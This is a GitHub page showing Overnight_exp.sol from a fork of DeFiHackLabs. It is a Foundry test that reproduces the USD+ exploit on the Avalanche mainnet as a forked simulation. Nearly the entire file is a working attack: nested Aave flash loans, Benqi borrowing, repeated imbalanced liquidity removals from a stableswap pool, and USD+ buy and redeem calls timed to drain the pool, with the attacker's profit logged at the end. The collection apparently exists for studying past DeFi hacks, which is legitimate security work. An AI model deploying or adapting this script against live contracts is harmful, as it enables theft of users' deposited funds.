forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 1
/
Overnight_exp.sol
278 lines (240 loc) · 11.2 KB
/
Overnight_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/peckshield/status/1598704809690877952
// @Address
// https://snowtrace.io/address/0xfe2c4cb637830b3f1cdc626b99f31b1ff4842e2c
interface JoeRouter{
function swapAVAXForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
interface USDPlus{
function buy(address _referredBy, uint256 amount) external returns (uint256);
function redeem(address to, uint256 amount) external returns (uint256 redeemed);
}
interface SwapFlashLoan{
function calculateTokenAmount(
uint256[] calldata amounts,
bool deposit
) external view returns (uint256);
function addLiquidity(
uint256[] calldata amounts,
uint256 minToMint,
uint256 deadline
) external returns (uint256);
function calculateRemoveLiquidity(uint256 amount) external returns (uint256[] memory);
function removeLiquidityImbalance(
uint256[] calldata amounts,
uint256 maxBurnAmount,
uint256 deadline
) external returns (uint256);
function swap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline
) external returns (uint256);
}
interface BenqiFinance{
function enterMarkets(address[] memory qiTokens) external returns (uint[] memory);
function getAccountLiquidity(address account) external view returns (uint, uint, uint);
function getHypotheticalAccountLiquidity(
address account,
address qiTokenModify,
uint redeemTokens,
uint borrowAmount) external view returns (uint, uint, uint);
}
interface BenqiChainlinkOracle{
function getUnderlyingPrice(address qiToken) external view returns (uint);
}
interface QiUSDCn{
function mint(uint mintAmount) external returns (uint);
function redeemUnderlying(uint redeemAmount) external returns (uint);
}
interface QiUSDC{
function borrow(uint borrowAmount) external returns (uint);
function repayBorrow(uint repayAmount) external returns (uint);
function borrowBalanceStored(address account) external view returns (uint);
}
interface PlatypusFinance{
function swap(
address fromToken,
address toToken,
uint256 fromAmount,
uint256 minimumToAmount,
address to,
uint256 deadline
) external;
}
interface NetAsset{
function netAssetValue() external view returns (uint256);
}
interface TotalNetAsset{
function totalNetAssets() external view returns (uint256);
}
interface SicleRouter{
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ContractTest is DSTest{
JoeRouter Router = JoeRouter(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
SicleRouter sicleRouter = SicleRouter(0xC7f372c62238f6a5b79136A9e5D16A2FD7A3f0F5);
USDPlus USDplus =USDPlus(0x73cb180bf0521828d8849bc8CF2B920918e23032);
SwapFlashLoan Swap = SwapFlashLoan(0xED2a7edd7413021d440b09D654f3b87712abAB66);
IAaveFlashloan LendingPoolV2 = IAaveFlashloan(0x4F01AeD16D97E3aB5ab2B501154DC9bb0F1A5A2C);
IAaveFlashloan PoolV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
BenqiFinance Benqi = BenqiFinance(0x486Af39519B4Dc9a7fCcd318217352830E8AD9b4);
BenqiChainlinkOracle Oracle = BenqiChainlinkOracle(0x316aE55EC59e0bEb2121C0e41d4BDef8bF66b32B);
QiUSDCn qiUSDCn = QiUSDCn(0xB715808a78F6041E46d61Cb123C9B4A27056AE9C);
PlatypusFinance Platypus = PlatypusFinance(0x66357dCaCe80431aee0A7507e2E361B7e2402370);
QiUSDC qiUSDC = QiUSDC(0xBEb5d47A3f720Ec0a390d04b4d41ED7d9688bC7F);
NetAsset netAsset = NetAsset(0xc2c84ca763572c6aF596B703Df9232b4313AD4e3);
TotalNetAsset totalNetAsset = TotalNetAsset(0x9Af655c4DBe940962F776b685d6700F538B90fcf);
IERC20 USDPLUS = IERC20(0xe80772Eaf6e2E18B651F160Bc9158b2A5caFCA65);
IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
IERC20 nUSD = IERC20(0xCFc37A6AB183dd4aED08C204D1c2773c0b1BDf46);
IERC20 DAI_e = IERC20(0xd586E7F844cEa2F87f50152665BCbc2C279D8d70);
IERC20 USDT_e = IERC20(0xc7198437980c041c805A1EDcbA50c1Ce5db95118);
IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
IERC20 nUSDLP = IERC20(0xCA87BF3ec55372D9540437d7a86a7750B42C02f4);
address avUSDC = 0x46A51127C3ce23fb7AB1DE06226147F446e4a857;
uint PoolV2BorrowAmount;
uint amountBuy;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("avax", 23097846);
}
function testExploit() public payable{
amountBuy = 36_000_000_000;
address[] memory path = new address[](2);
path[0] = address(WAVAX);
path[1] = address(USDC);
Router.swapAVAXForExactTokens{value: 2830 ether}(amountBuy, path, address(this), block.timestamp);
uint beforeAttackBalance = USDC.balanceOf(address(this));
emit log_named_uint(
"Before exploit , USDC balance of attacker",
beforeAttackBalance / 1e6
);
Hack();
uint afterAttackBalance = USDC.balanceOf(address(this));
emit log_named_uint(
"After exploit , USDC balance of attacker",
afterAttackBalance / 1e6
);
uint profitAttack = afterAttackBalance - beforeAttackBalance;
emit log_named_uint(
"Profit: USDC balance of attacker",
profitAttack / 1e6
);
}
function Hack() public {
for(uint i = 0; i < 6; i++){
cheats.roll(block.number + 1);
PoolV2BorrowAmount = USDC_e.balanceOf(avUSDC);
address[] memory assets = new address[](1);
assets[0] = address(USDC_e);
uint256[] memory amounts = new uint256[](1);
amounts[0] = PoolV2BorrowAmount;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
LendingPoolV2.flashLoan(address(this),assets, amounts, modes, address(this), "", 0); // FlashLoan USDC.e
cheats.roll(block.number + 1); // USD+ buy and redeem not allowed in one block
// redeem USD+ to USDC
if((totalNetAsset.totalNetAssets() - netAsset.netAssetValue()) > USDPLUS.balanceOf(address(this))){
USDplus.redeem(address(USDC), USDPLUS.balanceOf(address(this)));
}else{
USDplus.redeem(address(USDC), totalNetAsset.totalNetAssets() - netAsset.netAssetValue());
}
}
USDPLUS.approve(address(sicleRouter), type(uint).max);
address[] memory path = new address[](2);
path[0] = address(USDPLUS);
path[1] = address(USDC);
sicleRouter.swapExactTokensForTokens(USDPLUS.balanceOf(address(this)), 0, path, address(this), block.timestamp);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external payable returns (bool) {
if(msg.sender == address(LendingPoolV2)){
USDC_e.approve(address(LendingPoolV2), type(uint).max);
address[] memory assets1 = new address[](1);
assets1[0] = address(USDC);
uint256[] memory amounts1 = new uint256[](1);
amounts1[0] = PoolV2BorrowAmount / 2;
uint256[] memory modes = new uint[](1);
modes[0] = 0;
PoolV3.flashLoan(address(this), assets1, amounts1, modes, address(this), "", 0); // FlashLoan USDC
return true;
} else{
USDC.approve(address(PoolV3), type(uint).max);
uint mintAmount = PoolV2BorrowAmount / 2;
USDC.approve(address(qiUSDCn), type(uint).max);
qiUSDCn.mint(mintAmount); // deposit USDC to qiUSDCn
address[] memory qiTokens = new address[](1);
qiTokens[0] = address(qiUSDCn);
Benqi.enterMarkets(qiTokens);
( ,uint accountLiquidity, ) = Benqi.getAccountLiquidity(address(this));
uint oraclePrice = Oracle.getUnderlyingPrice(address(qiUSDC)) / 1e18;
uint borrowAmount = accountLiquidity / oraclePrice;
qiUSDC.borrow(borrowAmount); // borrow USDC.e from qiUSDC
// swap USDC.e to nUSD, DAI.e, USDT.e
USDC_e.approve(address(Swap), type(uint).max);
nUSDLP.approve(address(Swap), type(uint).max);
uint256[] memory amount = new uint256[](4);
amount[2] = USDC_e.balanceOf(address(this));
uint minToMint = Swap.calculateTokenAmount(amount, true) * 99 / 100;
uint LPAmount = Swap.addLiquidity(amount, minToMint, block.timestamp);
uint i = 0;
while(i < 9){
uint256[] memory removeAmount = new uint256[](4);
removeAmount = Swap.calculateRemoveLiquidity(LPAmount);
removeAmount[2] = 0;
Swap.removeLiquidityImbalance(removeAmount, LPAmount, block.timestamp);
LPAmount = nUSDLP.balanceOf(address(this));
i++;
}
uint256[] memory removeAmount1 = new uint256[](4);
removeAmount1 = Swap.calculateRemoveLiquidity(LPAmount);
Swap.removeLiquidityImbalance(removeAmount1, LPAmount, block.timestamp);
uint swapAmount = USDC_e.balanceOf(address(this)) / 3;
nUSD.approve(address(Swap), type(uint).max);
DAI_e.approve(address(Swap), type(uint).max);
USDT_e.approve(address(Swap), type(uint).max);
// swap remaining USDC.e to nUSD, DAI.e, USDT.e
Swap.swap(2, 0, swapAmount, 0, block.timestamp);
Swap.swap(2, 1, swapAmount, 0, block.timestamp);
Swap.swap(2, 3, swapAmount, 0, block.timestamp);
USDC.approve(address(USDplus), type(uint).max);
USDplus.buy(address(USDC), USDC.balanceOf(address(this))); // tigger Swap.addLiquidity(USDC.e), add USDC.e reserve in Pool
// swap nUSD, DAI.e, USDT.e to USDC.e
Swap.swap(0, 2, nUSD.balanceOf(address(this)), 0, block.timestamp);
Swap.swap(1, 2, DAI_e.balanceOf(address(this)), 0, block.timestamp);
Swap.swap(3, 2, USDT_e.balanceOf(address(this)), 0, block.timestamp);
USDC_e.approve(address(qiUSDC), qiUSDC.borrowBalanceStored(address(this)));
qiUSDC.repayBorrow(qiUSDC.borrowBalanceStored(address(this))); // repay borrow USDC.e
qiUSDCn.redeemUnderlying(mintAmount); // withdraw USDC from qiUSDCn
USDC_e.approve(address(Platypus), type(uint).max);
uint USDC_eSwapAmount = USDC_e.balanceOf(address(this)) - PoolV2BorrowAmount / 9991 * 10000 + 1000;
Platypus.swap(address(USDC_e), address(USDC), USDC_eSwapAmount, USDC_eSwapAmount * 99 / 100, address(this), block.timestamp); // swap profit USDC.e to USDC
return true;
}
}
receive() payable external{}
}